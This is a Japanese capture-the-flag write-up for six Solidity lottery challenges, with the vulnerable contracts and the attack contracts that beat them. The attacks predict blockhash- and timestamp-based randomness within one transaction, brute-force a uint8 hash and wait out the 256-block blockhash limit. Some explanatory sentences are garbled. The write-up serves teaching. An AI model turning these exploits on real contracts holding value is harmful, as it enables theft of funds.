宝くじ
次の各課題では、推測するときに答えを正しく推測することが目標です。
質問 1:数字を当ててください
コード:
pragma solidity ^0.4.21;
contract GuessTheNumberChallenge {
uint8 answer = 42;
function GuessTheNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}
非常に簡単です。推測する数字はタイトルに直接指定されている 42 です。42 を入力するだけでコントラクトを展開できます。
質問 2:秘密の番号を推測してください
コード:
pragma solidity ^0.4.21;
contract GuessTheSecretNumberChallenge {
bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
function GuessTheSecretNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
if (keccak256(n) == answerHash) {
msg.sender.transfer(2 ether);
}
}
}
タイトルで指定したanswerHashと同じハッシュ値を持つuint8型の数値を与える必要があります。uint8の最大値は255以下なので、列挙メソッドを使用してforループを記述して1つずつ判断できます。
攻撃コード:
pragma solidity ^0.4.21;
contract GuessTheSecretNumberChallenge {
bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
uint8 public answer;
function guess() public payable {
for(uint8 i = 0; i < 255; i++) {
if (keccak256(i) == answerHash) {
answer = i;
}
}
}
}
コントラクトをデプロイし、攻撃コントラクトのguess メソッドを呼び出して答えを取得し、その答えをターゲット コントラクトに入力します。
質問 3:乱数 を推測してください
コード:
pragma solidity ^0.4.21;
contract GuessTheRandomNumberChallenge {
uint8 answer;
function GuessTheRandomNumberChallenge() public payable {
require(msg.value == 0.001 ether);
answer = uint8(keccak256(block.blockhash(block.number - 1), now));
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 0.001 ether);
if (n == answer) {
msg.sender.transfer(0.002 ether);
}
}
}
この質問に対する答えは、block.number と、コントラクトをデプロイするときに 生成されます。block.number は、コントラクトをデプロイするときのブロックの高さであり、簡単に取得できます。now は、現在のタイムスタンプですが、面倒な場所です。挿入されたプロバイダーを使用できます。リミックスで使用されるメタマスク ウォレット デプロイメント コントラクト。(タイトルの 1 エーテルは高すぎます。自分で下げることができます。ここでは 1 フィニーに相当する 0.001 エーテルを使用します)
コントラクトをデプロイした後、ブロックチェーン ブラウザーでコントラクトのステータスを確認し、etherscan で表示をクリックします。
現在のトランザクション情報を確認できます。
「State」をクリックすると、2 番目のアドレスがコントラクトのアドレスになります。その横の矢印をクリックすると、コントラクト内のストレージ変数の変更が表示されます。数値型に変換すると、答えが 99 であることがわかります。
答え 99 を入力してください:
質問 4:新しい 番号を推測してください
コード:
pragma solidity ^0.4.21;
contract GuessTheNewNumberChallenge {
function GuessTheNewNumberChallenge() public payable {
require(msg.value == 0.001 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 0.001 ether);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
if (n == answer) {
msg.sender.transfer(0.002 ether);
}
}
}
この質問の答えは、推測関数を実行すると生成されます。前の質問の方法は機能しません。攻撃関数を作成し、答えを構築し、攻撃関数から推測関数を呼び出すことができます。
攻撃コード:
pragma solidity ^0.4.21;
import "./GuessTheNewNumber.sol";
contract Poc {
GuessTheNewNumberChallenge target;
function pwn() public payable {
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
target.guess.value(0.001 ether)(answer);
}
function Poc(address _addr) public {
target = GuessTheNewNumberChallenge(_addr);
}
function () public payable {}
}
pwn 関数を通じて、回答 (now と blocknumber は同じトランザクション内で同じです) を生成し、ターゲット コントラクトのguess 関数を呼び出して回答を渡します。
コントラクトをデプロイし、 pwn 関数を呼び出します。
攻撃完了
トピック 5:未来を予測する
コード:
pragma solidity ^0.4.21;
contract PredictTheFutureChallenge {
address guesser;
uint8 guess;
uint256 settlementBlockNumber;
function PredictTheFutureChallenge() public payable {
require(msg.value == 0.001 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function lockInGuess(uint8 n) public payable {
require(guesser == 0);
require(msg.value == 0.001 ether);
guesser = msg.sender;
guess = n;
settlementBlockNumber = block.number + 1;
}
function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
guesser = 0;
if (guess == answer) {
msg.sender.transfer(0.002 ether);
}
}
}
この質問の答えは前の質問と同じ方法で生成されます。生成には依然として block.number と now が使用されますが、推測の範囲は 0 ~ 10 になります。前の質問との違いは、最初に次のことが必要であることです。 lockInGuess 関数を使用して値を設定します。推測した数字、つまり、推測した数字は確かですが、答えは変わるため、設定した推測が同じである場合に Set 関数を実行するコントラクトを構築できます。現在の答え。
攻撃コード:
pragma solidity ^0.4.21;
import "./PredictTheFuture.sol";
contract attack {
PredictTheFutureChallenge challenge;
constructor(address _addr) public {
challenge = PredictTheFutureChallenge(_addr);
}
function gue() public payable {
challenge.lockInGuess.value(msg.value)(5);
}
function set() public payable {
uint8 result = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
if (result == 5) {
challenge.settle();
}
}
function() public payable{}
}
コントラクトをデプロイするには、最初にguess関数を呼び出して推測を設定し(私は5を選択しました)、次に成功するまでset関数を呼び出します(運次第です)。
質問 6:ハッシュ番号を推測してください
コード:
pragma solidity ^0.4.21;
contract PredictTheBlockHashChallenge {
address guesser;
bytes32 guess;
uint256 settlementBlockNumber;
function PredictTheBlockHashChallenge() public payable {
require(msg.value == 0.001 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function lockInGuess(bytes32 hash) public payable {
require(guesser == 0);
require(msg.value == 0.001 ether);
guesser = msg.sender;
guess = hash;
settlementBlockNumber = block.number + 1;
}
function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);
bytes32 answer = block.blockhash(settlementBlockNumber);
guesser = 0;
if (guess == answer) {
msg.sender.transfer(0.002 ether);
}
}
}
タイトルでは、次のブロックの 256 ビット ハッシュ値を推測する必要があります。
「スケーラビリティ上の理由から、ブロック ハッシュはすべてのブロックで利用できるわけではありません。アクセスできるのは最後の 256 ブロックのハッシュのみで、他の値はすべてゼロになります。」
したがって、この問題を解決するには256ブロックを待つだけで済みます。
攻撃コード:
pragma solidity ^0.4.21;
import "./PredictBlockHash.sol";
contract attack {
PredictTheBlockHashChallenge challenge;
uint256 blockNumber;
bytes32 answer;
function attack(address _addr) public {
challenge = PredictTheBlockHashChallenge(_addr);
}
function guess() public payable {
blockNumber = block.number + 1;
challenge.lockInGuess.value(0.001 ether)(answer);
}
function pwn() public {
require(block.number-256 > blockNumber,"Didn't generate 256 blocks");
challenge.settle();
}
function ()external payable{}
}
最初に攻撃コントラクトのguess関数を呼び出し、0を格納し、256ブロックが生成された後にpwn関数を呼び出します(待ち時間はかなり長いです)。